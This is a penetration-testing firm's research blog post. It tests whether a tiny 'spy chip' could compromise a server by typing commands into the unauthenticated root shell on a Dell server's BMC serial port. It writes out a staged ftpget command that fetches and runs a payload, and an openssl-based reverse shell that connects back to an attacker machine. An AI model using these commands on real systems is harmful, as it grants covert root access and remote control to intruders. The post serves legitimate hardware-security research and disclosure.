Tech Talk: Supply chain hardware hacking
We look into the truth about Chinese spy chips in server mainboards. Is it as far fetched as people assume?
Introduction
This is a Bulletproof Tech Talk article: original research from our penetration testing team covering issues, news, and tech that interests them. It’s more technical and in-depth that our usual blog content, but no less interesting.
Some readers may remember an article published by Bloomberg entitled "The Big Hack: How China used a Tiny Chip to Infiltrate U.S. Companies". The article alleges third-party Chinese circuit board manufacturers were secretly embedding tiny "spy chips" into server mainboards in order to get their hands on sensitive information – and had been doing so for years. The alleged devices were smaller than a grain of rice and would go un-noticed among the densely packed components that go into making a server mainboard.
This was met with some scepticism among certain circles of the tech community and the received wisdom of the time was that the spy chips reportedly only had six connections to the outside world and were of such a size that it would be practically impossible to embed sufficient memory and processing power into the device to make it do what it was alleged to do. They cast doubt on the spy chips’ ability to intercept and modify data flowing throughout the system via "buses" which, incidentally, consist of many more connections than the tiny six-pin chip would be able to use. Both Bloomberg and the hardware manufacturers in question went very silent, or strenuously denied, the story soon after.
However. As a penetration tester, I’m always one to challenge the received wisdom, this got me thinking of ways that such a feat could be accomplished with such a small and simple device. Maybe these spy chips weren’t so far-fetched afterall. So I grabbed an old server and got thinking....
Share this Article
Introducing the Baseboard Management Controller (BMC)
As mentioned in the original article, most servers possess a BMC, or Baseboard Management Controller, that’s used for monitoring hardware parameters such as temperature, cooling fan status and otherwise remotely managing the server. This device, often a SoC, or System-on-Chip, runs entirely independently from the main CPUs in the server. The BMS has its own operating system, memory, storage, and network separate from the main server. It’s also powered by its own always-on power supply, and hence is always available whether the server is powered up or not.
In a minimal configuration, the BMC may be accessed over the network using protocols such as IPMI, however, more advanced management controllers also have web interfaces which have more advanced features such as mounting virtual media. One interface that is usually not exposed to the user is the BMC serial port which is used at the factory for pre-configuring and diagnosing it before being shipped to customers.
Due to this interface not being easily accessible, it is often unsecured. This is called ‘security by obscurity’, and is almost always a bad idea. When connected to this serial interface, it could provide a privileged shell with no authentication required. For the purposes of this research, I got my hands on a retired Dell PowerEdge R210 server. The below image is of the unpopulated PCB pads connecting to the BMCs serial port on this particular machine.
Because of these security oversights, I reasoned that this may be a possible vector of attack, considering the following facts:
- Command line access may require no credentials
- Command line user may be privileged
- BMC may have outbound Internet access (at least temporarily at some time), allowing a reverse shell to be established
- BMC may have access to management network traffic, permitting certain attack vectors
- BMC immediately boots once power is applied and is always on regardless of whether the server itself is awake
- Interface to BMC serial port can be as few as two wires, meaning a chip with a small footprint can be used
- Serial interfaces are very simple to communicate with, needing no fast or complex hardware, and could be used to deliver a small initial payload
- BMC runs Linux, and so may have a number of tools already installed that could be used along with a payload
Finding a way in: choosing a microcontroller
The last of the three facts above led me to find some possible devices that would be fit for our purpose. As it was only a serial interface, they wouldn't need to be particularly fast, or have a large number of pins (hence, only needing a small footprint device) and with a small payload, wouldn't need a huge amount of memory to store it. With this in mind, after some research, the following devices were considered:
- Microchip ATTiny10
- Microchip PIC10F222
- Padauk PMS150C
- NXP LPC1102
These chips are tiny – a maximum of 2mm x 2mm, and have between 6 and 16 pins. Pencil tip for scale.
As you might imagine from such small devices, each one had certain limitations. And after putting the devices through their paces and comparing them to my list of requirements, I chose the tiny ATTiny10. Despite its size, this little chip has some reasonably good specifications:
- 1024 words of flash memory
- 32 bytes of RAM (You read that right - thirty-two whole bytes!)
- Up to 8MHz internal clock frequency
Choosing a payload
The next step was to determine what facilities were available to me in the BMC’s operating system, and from that, craft a small payload that could be deployed from our spy chip. To get going, I wired up the BMC directly to my system using a USB to serial adaptor so I could interact with it.
During boot-up, which took around two minutes, the BMC was found to be using a bit rate of 115200 baud
After booting was completed, it was simply a matter of pressing 'Enter' to get a privileged 'root' prompt – no authentication required! Told you ‘security by obscurity’ is a bad idea.
I spent a day or so exploring what commands were available in this somewhat limited system, and which payloads could be used with them. I decided that a staged payload would be best as the memory available on my spy chip was limited, so all the first stage would need to do is pull the larger second stage from an FTP server and execute it. This also allowed for some flexibility as the second stage could be changed as needed, and could be much larger if required (there was 45 MB of volatile storage available, so plenty of room)
Commands such as curl and scp weren't available on the BMC I stuck with trusty FTP, and an appropriate server set up. The first stage payload was written, using commands already available on the BMC, the result being:
ftpget -u ftp -p pass 192.168.1.67 /tmp/payload payload && chmod 755 /tmp/payload && /tmp/payload
This would grab a file called 'payload' off an anonymous FTP server of our choice, set it as executable, and run it.
The second stage payload was a little more difficult to create, as a number of tools, such as netcat, nc and bash sockets weren't available, and a reverse SSH connection wouldn't work without a needing a bunch of configuration files. However, openssl was available, and could be used to open sockets and redirect input and output:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.67:4242 > /tmp/s; rm -f /tmp/s
This would open an SSL connection back to a waiting netcat server listening on port 4242 on the attacker machine.
Both payloads in combination were tested and were found to work, with a reverse shell being opened back to the attacker machine.
Now onto the hardware...
Proof of concept
Fully implementing this on one of my tiny microcontrollers, while certainly feasible, would require a lot of manual assembly language coding in order to pack all the necessary code into the small device. So in order to get a proof of concept quicker, I grabbed a Raspberry Pi Pico running Arduino, to test whether this would work in practice with the following code:
The code would start by turning on the built in LED, it would then wait two minutes for the BMC to boot, turn off the LED to indicate that the payload was about to be sent, send two newlines, wait five seconds, then finally send the payload.
With the server completely unplugged, the Pi Pico was wired up ready for the first test, with the power line being tapped from a nearby 3.3v supply.
Finally, we're ready to test. A netcat listener was set up, fingers were crossed, and the server power was turned on. About two minutes later, I was greeted with this:
A root shell!
Wrapping up
To sum up, it would appear that the type of attack outlined in the Bloomberg article is absolutely feasible, with some ifs and buts. Primarily it’s contingent on the BMC's network interface having some form of Internet access. Though BMCs usually live on management networks and don’t necessarily initiate outbound connections to the Internet, there are situations where it is put on a public network to download or update the main server operating system, giving the hacked BMC a chance to phone home. And that’s without diving into the murky world that is exfiltrating data from air-gapped machines.
From my perspective, the Bloomberg article does seem to inflate the technical capabilities of the "Chinese spy chips" somewhat, however, I’m dealing with off-the-shelf components and limited research time. For nation-state powered attacks with more resources, then in retrospect, the article’s claims don’t seem to be so far fetched at all.
Assess your security with a pen test
Find your vulnerabilities & meet compliance requirements with penetration testing from Bulletproof. You might even get Chay working on your project.
Get a fast pen test quoteRelated resources
Trusted cyber security & compliance services from a certified provider
Get a quote today
If you are interested in our services, get a free, no obligation quote today by filling out the form below.